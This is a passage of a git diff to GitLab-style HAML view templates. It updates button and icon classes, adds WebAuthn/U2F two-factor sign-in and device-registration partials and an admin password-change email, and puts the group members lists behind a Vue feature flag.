- = link_to 'Unlock user', unlock_admin_user_path(@user), method: :put, class: "btn btn-info", data: { confirm: 'Are you sure?' }
+ = link_to 'Unlock user', unlock_admin_user_path(@user), method: :put, class: "btn gl-button btn-info", data: { confirm: 'Are you sure?' }
.card.border-danger
.card-header.bg-danger.text-white
@@ -207,7 +211,7 @@
%p Deleting a user has the following effects:
= render 'users/deletion_guidance', user: @user
%br
- %button.delete-user-button.btn.btn-danger{ data: { 'gl-modal-action': 'delete',
+ %button.delete-user-button.btn.gl-button.btn-danger{ data: { 'gl-modal-action': 'delete',
delete_user_url: admin_user_path(@user),
block_user_url: block_admin_user_path(@user),
username: sanitize_name(@user.name) } }
@@ -237,7 +241,7 @@
the user, and projects in them, will also be removed. Commits
to other projects are unaffected.
%br
- %button.delete-user-button.btn.btn-danger{ data: { 'gl-modal-action': 'delete-with-contributions',
+ %button.delete-user-button.btn.gl-button.btn-danger{ data: { 'gl-modal-action': 'delete-with-contributions',
delete_user_url: admin_user_path(@user, hard_delete: true),
block_user_url: block_admin_user_path(@user),
username: @user.name } }
diff --git a/app/views/authentication/_authenticate.html.haml b/app/views/authentication/_authenticate.html.haml
new file mode 100644
index 00000000000..17e855dbddd
--- /dev/null
+++ b/app/views/authentication/_authenticate.html.haml
@@ -0,0 +1,19 @@
+#js-authenticate-token-2fa
+%a.btn.btn-block.btn-info#js-login-2fa-device{ href: '#' }= _("Sign in via 2FA code")
+
+%script#js-authenticate-token-2fa-in-progress{ type: "text/template" }
+ %p= _("Trying to communicate with your device. Plug it in (if you haven't already) and press the button on the device now.")
+
+%script#js-authenticate-token-2fa-error{ type: "text/template" }
+ %div
+ %p <%= error_message %> (<%= error_name %>)
+ %a.btn.btn-block.btn-warning#js-token-2fa-try-again= _("Try again?")
+
+%script#js-authenticate-token-2fa-authenticated{ type: "text/template" }
+ %div
+ %p= _("We heard back from your device. You have been authenticated.")
+ = form_tag(target_path, method: :post, id: 'js-login-token-2fa-form') do |f|
+ - if render_remember_me
+ - resource_params = params[resource_name].presence || params
+ = hidden_field_tag 'user[remember_me]', resource_params.fetch(:remember_me, 0)
+ = hidden_field_tag 'user[device_response]', nil, class: 'form-control', required: true, id: "js-device-response"
diff --git a/app/views/authentication/_register.html.haml b/app/views/authentication/_register.html.haml
new file mode 100644
index 00000000000..f1aa76d115a
--- /dev/null
+++ b/app/views/authentication/_register.html.haml
@@ -0,0 +1,36 @@
+#js-register-token-2fa
+
+%script#js-register-2fa-message{ type: "text/template" }
+ %p <%= message %>
+
+%script#js-register-token-2fa-setup{ type: "text/template" }
+ - if current_user.two_factor_otp_enabled?
+ .row.gl-mb-3
+ .col-md-5
+ %button#js-setup-token-2fa-device.btn.btn-info= _("Set up new device")
+ .col-md-7
+ %p= _("Your device needs to be set up. Plug it in (if needed) and click the button on the left.")
+ - else
+ .row.gl-mb-3
+ .col-md-4
+ %button#js-setup-token-2fa-device.btn.btn-info.btn-block{ disabled: true }= _("Set up new device")
+ .col-md-8
+ %p= _("You need to register a two-factor authentication app before you can set up a device.")
+
+%script#js-register-token-2fa-error{ type: "text/template" }
+ %div
+ %p
+ %span <%= error_message %> (<%= error_name %>)
+ %a.btn.btn-warning#js-token-2fa-try-again= _("Try again?")
+
+%script#js-register-token-2fa-registered{ type: "text/template" }
+ .row.gl-mb-3
+ .col-md-12
+ %p= _("Your device was successfully set up! Give it a name and register it with the GitLab server.")
+ = form_tag(target_path, method: :post) do
+ .row.gl-mb-3
+ .col-md-3
+ = text_field_tag 'device_registration[name]', nil, class: 'form-control', placeholder: _("Pick a name")
+ .col-md-3
+ = hidden_field_tag 'device_registration[device_response]', nil, class: 'form-control', required: true, id: "js-device-response"
+ = submit_tag _("Register device"), class: "btn btn-success"
diff --git a/app/views/ci/status/_dropdown_graph_badge.html.haml b/app/views/ci/status/_dropdown_graph_badge.html.haml
index 69cb41b1713..4c8bb84c9ef 100644
--- a/app/views/ci/status/_dropdown_graph_badge.html.haml
+++ b/app/views/ci/status/_dropdown_graph_badge.html.haml
@@ -8,12 +8,12 @@
- if status.has_details?
= link_to status.details_path, class: 'mini-pipeline-graph-dropdown-item d-flex', data: { toggle: 'tooltip', title: tooltip, container: 'body' } do
%span{ class: klass }= sprite_icon(status.icon)
- %span.ci-build-text.text-truncate.mw-70p.gl-pl-1-deprecated-no-really-do-not-use-me= subject.name
+ %span.ci-build-text.text-truncate.mw-70p.gl-pl-2= subject.name
- else
.menu-item.mini-pipeline-graph-dropdown-item.d-flex{ data: { toggle: 'tooltip', title: tooltip, container: 'body' } }
%span{ class: klass }= sprite_icon(status.icon)
- %span.ci-build-text.text-truncate.mw-70p.gl-pl-1-deprecated-no-really-do-not-use-me= subject.name
+ %span.ci-build-text.text-truncate.mw-70p.gl-pl-2= subject.name
- if status.has_action?
= link_to status.action_path, class: "gl-button ci-action-icon-container ci-action-icon-wrapper js-ci-action-icon", method: status.action_method, data: { toggle: 'tooltip', title: status.action_title, container: 'body' } do
diff --git a/app/views/ci/variables/_header.html.haml b/app/views/ci/variables/_header.html.haml
index d0148e455de..f4e2a8584d8 100644
--- a/app/views/ci/variables/_header.html.haml
+++ b/app/views/ci/variables/_header.html.haml
@@ -2,7 +2,7 @@
%h4
= _('Variables')
- = link_to icon('question-circle'), help_page_path('ci/variables/README', anchor: 'custom-environment-variables'), target: '_blank', rel: 'noopener noreferrer'
+ = link_to sprite_icon('question-o', css_class: 'gl-vertical-align-baseline!'), help_page_path('ci/variables/README', anchor: 'custom-environment-variables'), target: '_blank', rel: 'noopener noreferrer'
%button.btn.btn-default.js-settings-toggle{ type: 'button' }
= expanded ? _('Collapse') : _('Expand')
diff --git a/app/views/ci/variables/_variable_row.html.haml b/app/views/ci/variables/_variable_row.html.haml
index 542a41c2f7d..193ec8abf04 100644
--- a/app/views/ci/variables/_variable_row.html.haml
+++ b/app/views/ci/variables/_variable_row.html.haml
@@ -39,7 +39,7 @@
= value
%p.masking-validation-error.gl-field-error.hide
= s_("CiVariables|Cannot use Masked Variable with current value")
- = link_to icon('question-circle'), help_page_path('ci/variables/README', anchor: 'mask-a-custom-variable'), target: '_blank', rel: 'noopener noreferrer'
+ = link_to sprite_icon('question-o'), help_page_path('ci/variables/README', anchor: 'mask-a-custom-variable'), target: '_blank', rel: 'noopener noreferrer'
- unless only_key_value
.ci-variable-body-item.ci-variable-protected-item.table-section.section-20.mr-0.border-top-0
.gl-mr-3
diff --git a/app/views/clusters/clusters/_banner.html.haml b/app/views/clusters/clusters/_banner.html.haml
index 3461831eda2..4a84745cf98 100644
--- a/app/views/clusters/clusters/_banner.html.haml
+++ b/app/views/clusters/clusters/_banner.html.haml
@@ -8,14 +8,14 @@
.hidden.row.js-cluster-api-unreachable.gl-alert.gl-alert-warning{ role: 'alert' }
= sprite_icon('warning', css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
- %button.js-close-banner.gl-alert-dismiss{ type: 'button', 'aria-label' => _('Dismiss') }
+ %button.js-close.gl-alert-dismiss{ type: 'button', 'aria-label' => _('Dismiss') }
= sprite_icon('close', css_class: 'gl-icon')
.gl-alert-body
= s_('ClusterIntegration|Your cluster API is unreachable. Please ensure your API URL is correct.')
.hidden.js-cluster-authentication-failure.js-cluster-api-unreachable.gl-alert.gl-alert-warning{ role: 'alert' }
= sprite_icon('warning', css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
- %button.js-close-banner.gl-alert-dismiss{ type: 'button', 'aria-label' => _('Dismiss') }
+ %button.js-close.gl-alert-dismiss{ type: 'button', 'aria-label' => _('Dismiss') }
= sprite_icon('close', css_class: 'gl-icon')
.gl-alert-body
= s_('ClusterIntegration|There was a problem authenticating with your cluster. Please ensure your CA Certificate and Token are valid.')
diff --git a/app/views/clusters/clusters/aws/_new.html.haml b/app/views/clusters/clusters/aws/_new.html.haml
index ec604ca83e5..3eab9b46fb3 100644
--- a/app/views/clusters/clusters/aws/_new.html.haml
+++ b/app/views/clusters/clusters/aws/_new.html.haml
@@ -1,6 +1,6 @@
- if !Gitlab::CurrentSettings.eks_integration_enabled?
- documentation_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: help_page_path('user/project/clusters/add_eks_clusters.md',
- anchor: 'additional-requirements-for-self-managed-instances-core-only') }
+ anchor: 'additional-requirements-for-self-managed-instances') }
= s_('Amazon authentication is not %{link_start}correctly configured%{link_end}. Ask your GitLab administrator if you want to use this service.').html_safe % { link_start: documentation_link_start, link_end: '<a/>'.html_safe }
- else
.js-create-eks-cluster-form-container{ data: { 'gitlab-managed-cluster-help-path' => help_page_path('user/project/clusters/index.md', anchor: 'gitlab-managed-clusters'),
diff --git a/app/views/clusters/clusters/new.html.haml b/app/views/clusters/clusters/new.html.haml
index 0a51d4b2e93..ff33fb46db8 100644
--- a/app/views/clusters/clusters/new.html.haml
+++ b/app/views/clusters/clusters/new.html.haml
@@ -16,8 +16,8 @@
%span
= create_new_cluster_label(provider: params[:provider])
%li.nav-item{ role: 'presentation' }
- %a.nav-link{ href: '#add-cluster-pane', id: 'add-cluster-tab', class: active_when(active_tab == 'add'), data: { toggle: 'tab' }, role: 'tab' }
- %span Add existing cluster
+ %a.nav-link{ href: '#add-cluster-pane', id: 'add-cluster-tab', class: active_when(active_tab == 'add'), data: { toggle: 'tab', qa_selector: 'add_existing_cluster_tab' }, role: 'tab' }
+ %span= s_('ClusterIntegration|Connect existing cluster')
.tab-content.gitlab-tab-content
.tab-pane.p-0{ id: 'create-cluster-pane', class: active_when(active_tab == 'create'), role: 'tabpanel' }
@@ -28,5 +28,5 @@
= render "clusters/clusters/#{provider}/new"
.tab-pane{ id: 'add-cluster-pane', class: active_when(active_tab == 'add'), role: 'tabpanel' }
- = render 'clusters/clusters/user/header'
+ #js-cluster-new{ data: js_cluster_new }
= render 'clusters/clusters/user/form'
diff --git a/app/views/clusters/clusters/user/_header.html.haml b/app/views/clusters/clusters/user/_header.html.haml
deleted file mode 100644
index b0a24ee464f..00000000000
--- a/app/views/clusters/clusters/user/_header.html.haml
+++ /dev/null
@@ -1,5 +0,0 @@
-%h4
- = s_('ClusterIntegration|Enter the details for your Kubernetes cluster')
-%p
- - link_to_help_page = link_to(s_('ClusterIntegration|documentation'), help_page_path('user/project/clusters/add_remove_clusters', anchor: 'add-existing-cluster'), target: '_blank', rel: 'noopener noreferrer')
- = s_('ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes').html_safe % { link_to_help_page: link_to_help_page }
diff --git a/app/views/dashboard/projects/index.html.haml b/app/views/dashboard/projects/index.html.haml
index 54a5624c6dd..d458f1d8eba 100644
--- a/app/views/dashboard/projects/index.html.haml
+++ b/app/views/dashboard/projects/index.html.haml
@@ -5,11 +5,12 @@
- if show_customize_homepage_banner?(@customize_homepage)
= content_for :customize_homepage_banner do
- .d-none.d-md-block{ class: "gl-pt-6! gl-pb-2! #{(container_class unless @no_container)} #{@content_class}" }
+ .gl-display-none.gl-display-md-block{ class: "gl-pt-6! gl-pb-2! #{(container_class unless @no_container)} #{@content_class}" }
.js-customize-homepage-banner{ data: { svg_path: image_path('illustrations/monitoring/getting_started.svg'),
preferences_behavior_path: profile_preferences_path(anchor: 'behavior'),
callouts_path: user_callouts_path,
- callouts_feature_id: UserCalloutsHelper::CUSTOMIZE_HOMEPAGE } }
+ callouts_feature_id: UserCalloutsHelper::CUSTOMIZE_HOMEPAGE,
+ track_label: 'home_page' } }
= render_dashboard_gold_trial(current_user)
diff --git a/app/views/dashboard/todos/index.html.haml b/app/views/dashboard/todos/index.html.haml
index 9b6150c4be2..9c6a6be1bc3 100644
--- a/app/views/dashboard/todos/index.html.haml
+++ b/app/views/dashboard/todos/index.html.haml
@@ -3,6 +3,7 @@
- header_title _("To-Do List"), dashboard_todos_path
= render_dashboard_gold_trial(current_user)
+= stylesheet_link_tag 'page_bundles/todos'
.page-title-holder.d-flex.align-items-center
%h1.page-title= _('To-Do List')
@@ -26,10 +27,10 @@
.nav-controls
- if @todos.any?(&:pending?)
.gl-mr-3
- = link_to destroy_all_dashboard_todos_path(todos_filter_params), class: 'btn btn-loading d-flex align-items-center js-todos-mark-all', method: :delete, data: { href: destroy_all_dashboard_todos_path(todos_filter_params) } do
+ = link_to destroy_all_dashboard_todos_path(todos_filter_params), class: 'btn btn-loading align-items-center js-todos-mark-all', method: :delete, data: { href: destroy_all_dashboard_todos_path(todos_filter_params) } do
Mark all as done
%span.spinner.ml-1
- = link_to bulk_restore_dashboard_todos_path, class: 'btn btn-loading d-flex align-items-center js-todos-undo-all hidden', method: :patch , data: { href: bulk_restore_dashboard_todos_path(todos_filter_params) } do
+ = link_to bulk_restore_dashboard_todos_path, class: 'btn btn-loading align-items-center js-todos-undo-all hidden', method: :patch , data: { href: bulk_restore_dashboard_todos_path(todos_filter_params) } do
Undo mark all as done
%span.spinner.ml-1
@@ -80,7 +81,7 @@
= link_to todos_filter_path(sort: sort_value_oldest_created) do
= sort_title_oldest_created
-.js-todos-all
+.todos-list-container.js-todos-all
- if @todos.any?
.js-todos-list-container
.js-todos-options{ data: { per_page: @todos.limit_value, current_page: @todos.current_page, total_pages: @todos.total_pages } }
diff --git a/app/views/devise/mailer/password_change_by_admin.html.haml b/app/views/devise/mailer/password_change_by_admin.html.haml
new file mode 100644
index 00000000000..d72f36838c5
--- /dev/null
+++ b/app/views/devise/mailer/password_change_by_admin.html.haml
@@ -0,0 +1,6 @@
+= email_default_heading(say_hello(@resource))
+
+%p
+ = admin_changed_password_text(format: :html)
+%p
+ = contact_your_administrator_text
diff --git a/app/views/devise/mailer/password_change_by_admin.text.erb b/app/views/devise/mailer/password_change_by_admin.text.erb
new file mode 100644
index 00000000000..d0e7ab98641
--- /dev/null
+++ b/app/views/devise/mailer/password_change_by_admin.text.erb
@@ -0,0 +1,5 @@
+<%= say_hello(@resource) %>
+
+<%= admin_changed_password_text %>
+
+<%= contact_your_administrator_text %>
diff --git a/app/views/devise/registrations/new.html.haml b/app/views/devise/registrations/new.html.haml
index afdf3c38567..2f75203ac62 100644
--- a/app/views/devise/registrations/new.html.haml
+++ b/app/views/devise/registrations/new.html.haml
@@ -8,7 +8,7 @@
= _("GitLab is a single application for the entire software development lifecycle. From project planning and source code management to CI/CD, monitoring, and security.")
.col-lg-5.order-12
.text-center.mb-3
- %h2.font-weight-bold.gl-font-size-20-deprecated-no-really-do-not-use-me= _('Register for GitLab')
+ %h2.font-weight-bold= _('Register for GitLab')
= render 'devise/shared/experimental_separate_sign_up_flow_box'
= render 'devise/shared/sign_in_link'
- else
diff --git a/app/views/devise/sessions/two_factor.html.haml b/app/views/devise/sessions/two_factor.html.haml
index 115ebc94238..8e05488c091 100644
--- a/app/views/devise/sessions/two_factor.html.haml
+++ b/app/views/devise/sessions/two_factor.html.haml
@@ -3,7 +3,7 @@
.login-box
.login-body
- if @user.two_factor_otp_enabled?
- = form_for(resource, as: resource_name, url: session_path(resource_name), method: :post, html: { class: "edit_user gl-show-field-errors js-2fa-form #{'hidden' if @user.two_factor_u2f_enabled?}" }) do |f|
+ = form_for(resource, as: resource_name, url: session_path(resource_name), method: :post, html: { class: "edit_user gl-show-field-errors js-2fa-form #{'hidden' if @user.two_factor_webauthn_u2f_enabled?}" }) do |f|
- resource_params = params[resource_name].presence || params
= f.hidden_field :remember_me, value: resource_params.fetch(:remember_me, 0)
%div
@@ -12,6 +12,5 @@
%p.form-text.text-muted.hint Enter the code from the two-factor app on your mobile device. If you've lost your device, you may enter one of your recovery codes.
.prepend-top-20
= f.submit "Verify code", class: "btn btn-success", data: { qa_selector: 'verify_code_button' }
-
- - if @user.two_factor_u2f_enabled?
- = render "u2f/authenticate", params: params, resource: resource, resource_name: resource_name, render_remember_me: true, target_path: new_user_session_path
+ - if @user.two_factor_webauthn_u2f_enabled?
+ = render "authentication/authenticate", params: params, resource: resource, resource_name: resource_name, render_remember_me: true, target_path: new_user_session_path
diff --git a/app/views/devise/shared/_signup_box.html.haml b/app/views/devise/shared/_signup_box.html.haml
index 0da51d460e3..07ef9a7914a 100644
--- a/app/views/devise/shared/_signup_box.html.haml
+++ b/app/views/devise/shared/_signup_box.html.haml
@@ -20,9 +20,6 @@
.form-group
= f.label :email, class: 'label-bold'
= f.email_field :email, value: @invite_email, class: "form-control middle", data: { qa_selector: 'new_user_email_field' }, required: true, title: _("Please provide a valid email address.")
- .form-group
- = f.label :email_confirmation, class: 'label-bold'
- = f.email_field :email_confirmation, class: "form-control middle", data: { qa_selector: 'new_user_email_confirmation_field' }, required: true, title: _("Please retype the email address.")
.form-group.append-bottom-20#password-strength
= f.label :password, class: 'label-bold'
= f.password_field :password, class: "form-control bottom", data: { qa_selector: 'new_user_password_field' }, required: true, pattern: ".{#{@minimum_password_length},}", title: _("Minimum length is %{minimum_password_length} characters.") % { minimum_password_length: @minimum_password_length }
diff --git a/app/views/doorkeeper/applications/_delete_form.html.haml b/app/views/doorkeeper/applications/_delete_form.html.haml
index ac5cac50699..77b7a50338c 100644
--- a/app/views/doorkeeper/applications/_delete_form.html.haml
+++ b/app/views/doorkeeper/applications/_delete_form.html.haml
@@ -5,6 +5,6 @@
= button_tag type: "submit", class: "btn btn-transparent", data: { confirm: _("Are you sure?") } do
%span.sr-only
= _('Destroy')
- = icon('trash')
+ = sprite_icon('remove')
- else
= submit_tag _('Destroy'), data: { confirm: _("Are you sure?") }, class: submit_btn_css
diff --git a/app/views/doorkeeper/applications/_form.html.haml b/app/views/doorkeeper/applications/_form.html.haml
index 7fbaa35d1d5..f99db696fd6 100644
--- a/app/views/doorkeeper/applications/_form.html.haml
+++ b/app/views/doorkeeper/applications/_form.html.haml
@@ -11,9 +11,6 @@
%span.form-text.text-muted
= _('Use one line per URI')
- - if Doorkeeper.configuration.native_redirect_uri
- %span.form-text.text-muted
- = html_escape(_('Use %{native_redirect_uri} for local tests')) % { native_redirect_uri: tag.code(Doorkeeper.configuration.native_redirect_uri) }
.form-group.form-check
= f.check_box :confidential, class: 'form-check-input'
diff --git a/app/views/events/event/_common.html.haml b/app/views/events/event/_common.html.haml
index dc16c46476e..a38d6dd3836 100644
--- a/app/views/events/event/_common.html.haml
+++ b/app/views/events/event/_common.html.haml
@@ -11,7 +11,7 @@
= link_to event.target_link_options, class: 'has-tooltip event-target-link gl-mr-2', title: event.target_title do
= event.target.reference_link_text
- unless event.milestone?
- %span.event-target-title.gl-mr-2{ dir: "auto" }
+ %span.event-target-title.gl-text-overflow-ellipsis.gl-overflow-hidden.gl-mr-2{ dir: "auto" }
= "&quot;".html_safe + event.target.title + "&quot".html_safe
- else
%span.event-type.d-inline-block.gl-mr-2{ class: event.action_name }
diff --git a/app/views/events/event/_note.html.haml b/app/views/events/event/_note.html.haml
index a81b999acba..4e936025c74 100644
--- a/app/views/events/event/_note.html.haml
+++ b/app/views/events/event/_note.html.haml
@@ -9,7 +9,7 @@
= event_note_title_html(event)
- title = note_target_title(event.target)
- if title.present?
- %span.event-target-title.gl-mr-2{ dir: "auto" }
+ %span.event-target-title.gl-text-overflow-ellipsis.gl-overflow-hidden.gl-mr-2{ dir: "auto" }
= "&quot;".html_safe + title + "&quot".html_safe
= render "events/event_scope", event: event
diff --git a/app/views/groups/_group_admin_settings.html.haml b/app/views/groups/_group_admin_settings.html.haml
index 75a0706ee84..393ab8013e7 100644
--- a/app/views/groups/_group_admin_settings.html.haml
+++ b/app/views/groups/_group_admin_settings.html.haml
@@ -7,7 +7,7 @@
= f.label :lfs_enabled, class: 'form-check-label' do
%strong
Allow projects within this group to use Git LFS
- = link_to icon('question-circle'), help_page_path('topics/git/lfs/index')
+ = link_to sprite_icon('question-o'), help_page_path('topics/git/lfs/index')
%br/
%span This setting can be overridden in each project.
.form-group.row
@@ -31,7 +31,7 @@
= f.label :require_two_factor_authentication, class: 'form-check-label' do
%strong
Require all users in this group to set up Two-factor authentication
- = link_to icon('question-circle'), help_page_path('security/two_factor_authentication', anchor: 'enforcing-2fa-for-all-users-in-a-group')
+ = link_to sprite_icon('question-o'), help_page_path('security/two_factor_authentication', anchor: 'enforcing-2fa-for-all-users-in-a-group')
.form-group.row
.offset-sm-2.col-sm-10
.form-check
diff --git a/app/views/groups/_import_group_pane.html.haml b/app/views/groups/_import_group_pane.html.haml
index adfac7d59a5..9ad8ebbb37d 100644
--- a/app/views/groups/_import_group_pane.html.haml
+++ b/app/views/groups/_import_group_pane.html.haml
@@ -41,7 +41,7 @@
= s_('GroupsNew|To copy a GitLab group between installations, navigate to the group settings page for the original installation, generate an export file, and upload it here.')
.row
.form-group.col-sm-12
- = f.label :file, s_('GroupsNew|GitLab group export'), class: 'label-bold'
+ = f.label :file, s_('GroupsNew|Import a GitLab group export file'), class: 'label-bold'
%div
= render 'shared/file_picker_button', f: f, field: :file, help_text: nil
diff --git a/app/views/groups/group_members/index.html.haml b/app/views/groups/group_members/index.html.haml
index c8e58a50b18..ed7b201323a 100644
--- a/app/views/groups/group_members/index.html.haml
+++ b/app/views/groups/group_members/index.html.haml
@@ -3,6 +3,8 @@
- show_invited_members = can_manage_members && @invited_members.exists?
- show_access_requests = can_manage_members && @requesters.exists?
- invited_active = params[:search_invited].present? || params[:invited_members_page].present?
+- vue_members_list_enabled = Feature.enabled?(:vue_group_members_list, @group)
+- data_attributes = { group_id: @group.id }
- form_item_label_css_class = 'label-bold gl-mr-2 gl-mb-0 gl-py-2 align-self-md-center'
@@ -66,18 +68,24 @@
= render 'groups/group_members/tab_pane/form_item' do
= label_tag :sort_by, _('Sort by'), class: form_item_label_css_class
= render 'shared/members/sort_dropdown'
- %ul.content-list.members-list{ data: { qa_selector: 'members_list' } }
- = render partial: 'shared/members/member', collection: @members, as: :member
- = paginate @members, theme: 'gitlab', params: { invited_members_page: nil, search_invited: nil }
+ - if vue_members_list_enabled
+ .js-group-members-list{ data: { members: members_data_json(@group, @members), **data_attributes } }
+ - else
+ %ul.content-list.members-list{ data: { qa_selector: 'members_list' } }
+ = render partial: 'shared/members/member', collection: @members, as: :member
+ = paginate @members, theme: 'gitlab', params: { invited_members_page: nil, search_invited: nil }
- if @group.shared_with_group_links.any?
#tab-groups.tab-pane
.card.card-without-border
= render 'groups/group_members/tab_pane/header' do
= render 'groups/group_members/tab_pane/title' do
= html_escape(_('Groups with access to %{strong_start}%{group_name}%{strong_end}')) % { group_name: @group.name, strong_start: '<strong>'.html_safe, strong_end: '</strong>'.html_safe }
- %ul.content-list.members-list{ data: { qa_selector: 'groups_list' } }
- - @group.shared_with_group_links.each do |group_link|
- = render 'shared/members/group', group_link: group_link, can_admin_member: can_manage_members, group_link_path: group_group_link_path(@group, group_link)
+ - if vue_members_list_enabled
+ .js-group-linked-list{ data: { members: linked_groups_data_json(@group.shared_with_group_links), **data_attributes } }
+ - else
+ %ul.content-list.members-list{ data: { qa_selector: 'groups_list' } }
+ - @group.shared_with_group_links.each do |group_link|
+ = render 'shared/members/group', group_link: group_link, can_admin_member: can_manage_members, group_link_path: group_group_link_path(@group, group_link)
- if show_invited_members
#tab-invited-members.tab-pane{ class: ('active' if invited_active) }
.card.card-without-border
@@ -86,14 +94,20 @@
= html_escape(_('Members invited to %{strong_start}%{group_name}%{strong_end}')) % { group_name: @group.name, strong_start: '<strong>'.html_safe, strong_end: '</strong>'.html_safe }
= form_tag group_group_members_path(@group), method: :get, class: 'user-search-form', data: { testid: 'user-search-form' } do
= render 'shared/members/search_field', name: 'search_invited'
- %ul.content-list.members-list
- = render partial: 'shared/members/member', collection: @invited_members, as: :member
- = paginate @invited_members, param_name: 'invited_members_page', theme: 'gitlab', params: { page: nil }
+ - if vue_members_list_enabled
+ .js-group-invited-members-list{ data: { members: members_data_json(@group, @invited_members), **data_attributes } }
+ - else
+ %ul.content-list.members-list
+ = render partial: 'shared/members/member', collection: @invited_members, as: :member
+ = paginate @invited_members, param_name: 'invited_members_page', theme: 'gitlab', params: { page: nil }
- if show_access_requests
#tab-access-requests.tab-pane
.card.card-without-border
= render 'groups/group_members/tab_pane/header' do
= render 'groups/group_members/tab_pane/title' do
= html_escape(_('Users requesting access to %{strong_start}%{group_name}%{strong_end}')) % { group_name: @group.name, strong_start: '<strong>'.html_safe, strong_end: '</strong>'.html_safe }
- %ul.content-list.members-list
- = render partial: 'shared/members/member', collection: @requesters, as: :member
+ - if vue_members_list_enabled
+ .js-group-access-requests-list{ data: { members: members_data_json(@group, @requesters), **data_attributes } }
+ - else
+ %ul.content-list.members-list
+ = render partial: 'shared/members/member', collection: @requesters, as: :member
diff --git a/app/views/groups/packages/_legacy_package_list.haml b/app/views/groups/packages/_legacy_package_list.haml
deleted file mode 100644
index 481a0dbb6e8..00000000000
--- a/app/views/groups/packages/_legacy_package_list.haml
+++ /dev/null
@@ -1,59 +0,0 @@
-- sort_value = @sort
-- sort_title = packages_sort_option_title(sort_value)
-
-- if @packages.any?
- .d-flex.justify-content-end
- .dropdown.inline.gl-mt-3.gl-mb-3.package-sort-dropdown
- .btn-group{ role: 'group' }
- .btn-group{ role: 'group' }
- %button.dropdown-menu-toggle{ type: 'button', data: { toggle: 'dropdown', display: 'static', 'qa-selector': 'sort-dropdown-button' }, class: 'btn btn-default' }
- = sort_title
- = icon('chevron-down')
- %ul.dropdown-menu.dropdown-menu-right.dropdown-menu-selectable.dropdown-menu-sort
- %li
- = sortable_item(sort_title_created_date, package_sort_path(sort: sort_value_recently_created), sort_title)
- = sortable_item(sort_title_name, package_sort_path(sort: sort_value_name_desc), sort_title)
- = sortable_item(sort_title_project_name, package_sort_path(sort: sort_value_project_name_desc), sort_title)
- = sortable_item(sort_title_version, package_sort_path(sort: sort_value_version_desc), sort_title)
- = sortable_item(sort_title_type, package_sort_path(sort: sort_value_type_desc), sort_title)
- = packages_sort_direction_button(sort_value)
-
- .table-holder
- .gl-responsive-table-row.table-row-header.bg-secondary-50.px-2.border-top{ role: 'row' }
- .table-section.section-30{ role: 'rowheader' }
- = _('Name')
- .table-section.section-20{ role: 'rowheader' }
- = _('Project')
- .table-section.section-20{ role: 'rowheader' }
- = _('Version')
- .table-section.section-10{ role: 'rowheader' }
- = _('Type')
- .table-section.section-20{ role: 'rowheader' }
- = _('Created')
- - @packages.each do |package|
- .gl-responsive-table-row{ data: { 'qa-selector': 'package-row' } }
- .table-section.section-30
- .table-mobile-header{ role: "rowheader" }= _("Name")
- .table-mobile-content.flex-truncate-parent
- = link_to package.name, project_package_path(package.project, package), class: 'flex-truncate-child'
- .table-section.section-20
- .table-mobile-header{ role: "rowheader" }= _("Project")
- .table-mobile-content
- = link_to_project(package.project)
- .table-section.section-20
- .table-mobile-header{ role: "rowheader" }= _("Version")
- .table-mobile-content
- = package.version
- .table-section.section-10
- .table-mobile-header{ role: "rowheader" }= _("Type")
- .table-mobile-content
- = package.package_type
- .table-section.section-20
- .table-mobile-header{ role: "rowheader" }= _("Created")
- .table-mobile-content
- = time_ago_with_tooltip(package.created_at)
- = paginate @packages, theme: "gitlab"
-- else
- .row.empty-state
- .col-12
- = render 'shared/packages/no_packages'
diff --git a/app/views/groups/packages/index.html.haml b/app/views/groups/packages/index.html.haml
index b07c08f50ca..7910217c939 100644
--- a/app/views/groups/packages/index.html.haml
+++ b/app/views/groups/packages/index.html.haml
@@ -1,4 +1,5 @@
-- page_title _("Packages")
+- page_title _("Package Registry")
+- @content_class = "limit-container-width" unless fluid_layout
.row
.col-12
diff --git a/app/views/groups/runners/_index.html.haml b/app/views/groups/runners/_index.html.haml
index 51375f50659..e885fcc08eb 100644
--- a/app/views/groups/runners/_index.html.haml
+++ b/app/views/groups/runners/_index.html.haml
@@ -73,7 +73,7 @@
{{name}}
= button_tag class: 'clear-search hidden' do
- = icon('times')
+ = sprite_icon('close', size: 16, css_class: 'clear-search-icon')
.filter-dropdown-container
= render 'admin/runners/sort_dropdown'
diff --git a/app/views/groups/runners/_runner.html.haml b/app/views/groups/runners/_runner.html.haml
index 07cbcd8401e..3fc50cc86d2 100644
--- a/app/views/groups/runners/_runner.html.haml
+++ b/app/views/groups/runners/_runner.html.haml
@@ -79,8 +79,8 @@
- if runner.belongs_to_more_than_one_project?
.btn-group
.btn.btn-danger.has-tooltip{ 'aria-label' => 'Remove', 'data-container' => 'body', 'data-original-title' => _('Multi-project Runners cannot be removed'), 'data-placement' => 'top', disabled: 'disabled' }
- = icon('remove')
+ = sprite_icon('close')
- else
.btn-group
= link_to group_runner_path(@group, runner), method: :delete, class: 'btn btn-danger has-tooltip', title: _('Remove'), ref: 'tooltip', aria: { label: _('Remove') }, data: { placement: 'top', container: 'body', confirm: _('Are you sure?') } do
- = icon('remove')
+ = sprite_icon('close')
diff --git a/app/views/groups/settings/ci_cd/_form.html.haml b/app/views/groups/settings/ci_cd/_form.html.haml
index 139c710fac0..8fad73f1249 100644
--- a/app/views/groups/settings/ci_cd/_form.html.haml
+++ b/app/views/groups/settings/ci_cd/_form.html.haml
@@ -8,6 +8,6 @@
= f.number_field :max_artifacts_size, class: 'form-control'
%p.form-text.text-muted
= _("Set the maximum file size for each job's artifacts")
- = link_to icon('question-circle'), help_page_path('user/admin_area/settings/continuous_integration', anchor: 'maximum-artifacts-size-core-only'), target: '_blank'
+ = link_to sprite_icon('question-o'), help_page_path('user/admin_area/settings/continuous_integration', anchor: 'maximum-artifacts-size'), target: '_blank'
= f.submit _('Save changes'), class: "btn btn-success"
diff --git a/app/views/groups/settings/ci_cd/show.html.haml b/app/views/groups/settings/ci_cd/show.html.haml
index 366d7dd5afe..5b5f357dbec 100644
--- a/app/views/groups/settings/ci_cd/show.html.haml
+++ b/app/views/groups/settings/ci_cd/show.html.haml
@@ -11,7 +11,7 @@
.settings-header
%h4
= _("General pipelines")
- %button.btn.js-settings-toggle{ type: 'button' }
